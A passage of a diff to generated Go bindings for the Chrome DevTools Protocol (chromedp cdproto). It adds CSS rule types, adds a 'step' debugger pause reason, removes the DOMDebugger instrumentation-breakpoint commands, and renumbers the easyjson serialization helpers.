RuleTypeContainerRule RuleType = "ContainerRule"
RuleTypeLayerRule RuleType = "LayerRule"
RuleTypeScopeRule RuleType = "ScopeRule"
RuleTypeStyleRule RuleType = "StyleRule"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t RuleType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t RuleType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *RuleType) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch RuleType(v) {
case RuleTypeMediaRule:
*t = RuleTypeMediaRule
case RuleTypeSupportsRule:
*t = RuleTypeSupportsRule
case RuleTypeContainerRule:
*t = RuleTypeContainerRule
case RuleTypeLayerRule:
*t = RuleTypeLayerRule
case RuleTypeScopeRule:
*t = RuleTypeScopeRule
case RuleTypeStyleRule:
*t = RuleTypeStyleRule
default:
in.AddError(fmt.Errorf("unknown RuleType value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *RuleType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// RuleUsage CSS coverage information.
@@ -347,6 +420,23 @@ type FontFace struct {
FontVariationAxes []*FontVariationAxis `json:"fontVariationAxes,omitempty"` // Available variation settings (a.k.a. "axes").
}
// TryRule CSS try rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSTryRule
type TryRule struct {
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
Style *Style `json:"style"` // Associated style declaration.
}
// PositionFallbackRule CSS position-fallback rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSPositionFallbackRule
type PositionFallbackRule struct {
Name *Value `json:"name"`
TryRules []*TryRule `json:"tryRules"` // List of keyframes.
}
// KeyframesRule CSS keyframes rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframesRule
@@ -355,6 +445,27 @@ type KeyframesRule struct {
Keyframes []*KeyframeRule `json:"keyframes"` // List of keyframes.
}
// PropertyRegistration representation of a custom property registration
// through CSS.registerProperty.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSPropertyRegistration
type PropertyRegistration struct {
PropertyName string `json:"propertyName"`
InitialValue *Value `json:"initialValue,omitempty"`
Inherits bool `json:"inherits"`
Syntax string `json:"syntax"`
}
// PropertyRule CSS property at-rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSPropertyRule
type PropertyRule struct {
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
PropertyName *Value `json:"propertyName"` // Associated property name.
Style *Style `json:"style"` // Associated style declaration.
}
// KeyframeRule CSS keyframe rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframeRule
+3
View File
@@ -353,6 +353,7 @@ const (
PausedReasonOther PausedReason = "other"
PausedReasonPromiseRejection PausedReason = "promiseRejection"
PausedReasonXHR PausedReason = "XHR"
PausedReasonStep PausedReason = "step"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -393,6 +394,8 @@ func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PausedReasonPromiseRejection
case PausedReasonXHR:
*t = PausedReasonXHR
case PausedReasonStep:
*t = PausedReasonStep
default:
in.AddError(fmt.Errorf("unknown PausedReason value: %v", v))
+1 -3
View File
@@ -8,9 +8,7 @@
// nodes that are known to the client. Backend keeps track of the nodes that
// were sent to the client and never sends the same node twice. It is client's
// responsibility to collect information about the nodes that were sent to the
// client.
//
// Note that iframe owner elements will return corresponding document
// client. Note that iframe owner elements will return corresponding document
// elements as their child nodes.
//
// Generated by the cdproto-gen command.
+8 -59
View File
@@ -133,31 +133,6 @@ func (p *RemoveEventListenerBreakpointParams) Do(ctx context.Context) (err error
return cdp.Execute(ctx, CommandRemoveEventListenerBreakpoint, p, nil)
}
// RemoveInstrumentationBreakpointParams removes breakpoint on particular
// native event.
type RemoveInstrumentationBreakpointParams struct {
EventName string `json:"eventName"` // Instrumentation name to stop on.
}
// RemoveInstrumentationBreakpoint removes breakpoint on particular native
// event.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOMDebugger#method-removeInstrumentationBreakpoint
//
// parameters:
//
// eventName - Instrumentation name to stop on.
func RemoveInstrumentationBreakpoint(eventName string) *RemoveInstrumentationBreakpointParams {
return &RemoveInstrumentationBreakpointParams{
EventName: eventName,
}
}
// Do executes DOMDebugger.removeInstrumentationBreakpoint against the provided context.
func (p *RemoveInstrumentationBreakpointParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandRemoveInstrumentationBreakpoint, p, nil)
}
// RemoveXHRBreakpointParams removes breakpoint from XMLHttpRequest.
type RemoveXHRBreakpointParams struct {
URL string `json:"url"` // Resource URL substring.
@@ -261,30 +236,6 @@ func (p *SetEventListenerBreakpointParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetEventListenerBreakpoint, p, nil)
}
// SetInstrumentationBreakpointParams sets breakpoint on particular native
// event.
type SetInstrumentationBreakpointParams struct {
EventName string `json:"eventName"` // Instrumentation name to stop on.
}
// SetInstrumentationBreakpoint sets breakpoint on particular native event.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOMDebugger#method-setInstrumentationBreakpoint
//
// parameters:
//
// eventName - Instrumentation name to stop on.
func SetInstrumentationBreakpoint(eventName string) *SetInstrumentationBreakpointParams {
return &SetInstrumentationBreakpointParams{
EventName: eventName,
}
}
// Do executes DOMDebugger.setInstrumentationBreakpoint against the provided context.
func (p *SetInstrumentationBreakpointParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetInstrumentationBreakpoint, p, nil)
}
// SetXHRBreakpointParams sets breakpoint on XMLHttpRequest.
type SetXHRBreakpointParams struct {
URL string `json:"url"` // Resource URL substring. All XHRs having this substring in the URL will get stopped upon.
@@ -310,14 +261,12 @@ func (p *SetXHRBreakpointParams) Do(ctx context.Context) (err error) {
// Command names.
const (
CommandGetEventListeners = "DOMDebugger.getEventListeners"
CommandRemoveDOMBreakpoint = "DOMDebugger.removeDOMBreakpoint"
CommandRemoveEventListenerBreakpoint = "DOMDebugger.removeEventListenerBreakpoint"
CommandRemoveInstrumentationBreakpoint = "DOMDebugger.removeInstrumentationBreakpoint"
CommandRemoveXHRBreakpoint = "DOMDebugger.removeXHRBreakpoint"
CommandSetBreakOnCSPViolation = "DOMDebugger.setBreakOnCSPViolation"
CommandSetDOMBreakpoint = "DOMDebugger.setDOMBreakpoint"
CommandSetEventListenerBreakpoint = "DOMDebugger.setEventListenerBreakpoint"
CommandSetInstrumentationBreakpoint = "DOMDebugger.setInstrumentationBreakpoint"
CommandSetXHRBreakpoint = "DOMDebugger.setXHRBreakpoint"
CommandGetEventListeners = "DOMDebugger.getEventListeners"
CommandRemoveDOMBreakpoint = "DOMDebugger.removeDOMBreakpoint"
CommandRemoveEventListenerBreakpoint = "DOMDebugger.removeEventListenerBreakpoint"
CommandRemoveXHRBreakpoint = "DOMDebugger.removeXHRBreakpoint"
CommandSetBreakOnCSPViolation = "DOMDebugger.setBreakOnCSPViolation"
CommandSetDOMBreakpoint = "DOMDebugger.setDOMBreakpoint"
CommandSetEventListenerBreakpoint = "DOMDebugger.setEventListenerBreakpoint"
CommandSetXHRBreakpoint = "DOMDebugger.setXHRBreakpoint"
)
+54 -186
View File
@@ -84,73 +84,7 @@ func (v *SetXHRBreakpointParams) UnmarshalJSON(data []byte) error {
func (v *SetXHRBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(in *jlexer.Lexer, out *SetInstrumentationBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "eventName":
out.EventName = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(out *jwriter.Writer, in SetInstrumentationBreakpointParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"eventName\":"
out.RawString(prefix[1:])
out.String(string(in.EventName))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v SetInstrumentationBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetInstrumentationBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetInstrumentationBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetInstrumentationBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(in *jlexer.Lexer, out *SetEventListenerBreakpointParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(in *jlexer.Lexer, out *SetEventListenerBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -183,7 +117,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(out *jwriter.Writer, in SetEventListenerBreakpointParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(out *jwriter.Writer, in SetEventListenerBreakpointParams) {
out.RawByte('{')
first := true
_ = first
@@ -203,27 +137,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v SetEventListenerBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetEventListenerBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetEventListenerBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetEventListenerBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(in *jlexer.Lexer, out *SetDOMBreakpointParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(in *jlexer.Lexer, out *SetDOMBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -256,7 +190,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(out *jwriter.Writer, in SetDOMBreakpointParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(out *jwriter.Writer, in SetDOMBreakpointParams) {
out.RawByte('{')
first := true
_ = first
@@ -276,27 +210,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v SetDOMBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetDOMBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetDOMBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetDOMBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(in *jlexer.Lexer, out *SetBreakOnCSPViolationParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(in *jlexer.Lexer, out *SetBreakOnCSPViolationParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -348,7 +282,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(out *jwriter.Writer, in SetBreakOnCSPViolationParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(out *jwriter.Writer, in SetBreakOnCSPViolationParams) {
out.RawByte('{')
first := true
_ = first
@@ -374,27 +308,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v SetBreakOnCSPViolationParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetBreakOnCSPViolationParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetBreakOnCSPViolationParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetBreakOnCSPViolationParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(in *jlexer.Lexer, out *RemoveXHRBreakpointParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(in *jlexer.Lexer, out *RemoveXHRBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -425,7 +359,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(out *jwriter.Writer, in RemoveXHRBreakpointParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(out *jwriter.Writer, in RemoveXHRBreakpointParams) {
out.RawByte('{')
first := true
_ = first
@@ -440,93 +374,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v RemoveXHRBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v RemoveXHRBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *RemoveXHRBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *RemoveXHRBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(in *jlexer.Lexer, out *RemoveInstrumentationBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "eventName":
out.EventName = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(out *jwriter.Writer, in RemoveInstrumentationBreakpointParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"eventName\":"
out.RawString(prefix[1:])
out.String(string(in.EventName))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v RemoveInstrumentationBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v RemoveInstrumentationBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *RemoveInstrumentationBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *RemoveInstrumentationBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(in *jlexer.Lexer, out *RemoveEventListenerBreakpointParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(in *jlexer.Lexer, out *RemoveEventListenerBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -559,7 +427,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(out *jwriter.Writer, in RemoveEventListenerBreakpointParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(out *jwriter.Writer, in RemoveEventListenerBreakpointParams) {
out.RawByte('{')
first := true
_ = first
@@ -579,27 +447,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v RemoveEventListenerBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v RemoveEventListenerBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *RemoveEventListenerBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *RemoveEventListenerBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(in *jlexer.Lexer, out *RemoveDOMBreakpointParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(in *jlexer.Lexer, out *RemoveDOMBreakpointParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -632,7 +500,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(out *jwriter.Writer, in RemoveDOMBreakpointParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(out *jwriter.Writer, in RemoveDOMBreakpointParams) {
out.RawByte('{')
first := true
_ = first
@@ -652,27 +520,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v RemoveDOMBreakpointParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v RemoveDOMBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *RemoveDOMBreakpointParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *RemoveDOMBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(in *jlexer.Lexer, out *GetEventListenersReturns) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(in *jlexer.Lexer, out *GetEventListenersReturns) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -732,7 +600,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(in *jlexer.Lexer
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(out *jwriter.Writer, in GetEventListenersReturns) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(out *jwriter.Writer, in GetEventListenersReturns) {
out.RawByte('{')
first := true
_ = first
@@ -761,27 +629,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(out *jwriter.Wri
// MarshalJSON supports json.Marshaler interface
func (v GetEventListenersReturns) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v GetEventListenersReturns) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *GetEventListenersReturns) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *GetEventListenersReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(in *jlexer.Lexer, out *GetEventListenersParams) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(in *jlexer.Lexer, out *GetEventListenersParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -816,7 +684,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(in *jlexer.Lexe
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(out *jwriter.Writer, in GetEventListenersParams) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(out *jwriter.Writer, in GetEventListenersParams) {
out.RawByte('{')
first := true
_ = first
@@ -841,27 +709,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(out *jwriter.Wr
// MarshalJSON supports json.Marshaler interface
func (v GetEventListenersParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v GetEventListenersParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *GetEventListenersParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *GetEventListenersParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(in *jlexer.Lexer, out *EventListener) {
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(in *jlexer.Lexer, out *EventListener) {
